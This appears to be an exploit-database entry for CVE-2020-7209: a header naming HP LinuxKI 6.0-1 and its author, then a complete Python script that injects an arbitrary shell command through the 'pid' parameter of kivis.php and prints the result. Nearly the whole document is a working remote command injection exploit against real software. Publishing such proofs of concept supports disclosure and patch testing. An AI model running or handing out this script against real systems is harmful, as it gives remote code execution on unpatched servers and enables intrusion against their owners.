|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41  |  Exploit Title: HP LinuxKI 6.01 - Remote Command Injection Date: 2020-05-17 Exploit Author: Cody Winkler Vendor Homepage: https://www.hpe.com/us/en/home.html Software Link: https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-1 Version: <= v6.0-1 Tested on: LinuxKI Docker Image CVE: CVE-2020-7209 #!/usr/bin/env python3 import requests import argparse import sys import re def parse_options():  formatter = lambda prog: argparse.HelpFormatter(prog,max_help_position=50)  parser = argparse.ArgumentParser(description='HP LinuxKI <= 6.0-1 RCE - CVE-2020-7209', formatter_class=formatter)  parser.add_argument("-i", "--ip", dest='host', type=str, help="Target Hostname/IP", required=True)  parser.add_argument("-p", "--port", dest='port', type=str, help="Target Port", required=True)  parser.add_argument("-c", "--cmd", dest='cmd', type=str, help="Command to execute", required=True)  args = parser.parse_args()  return args def main(args):  host = args.host  port = args.port  cmd = args.cmd  path = '/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;echo BEGIN;%s;echo END;' % cmd  rce = requests.get('http://' + host + ':' + port + path, verify=False)  output = rce.text  a, b = output.find('BEGIN'), output.find('END')  print(output[a+6:b]) if __name__ in "__main__":  args = parse_options()  main(args)  |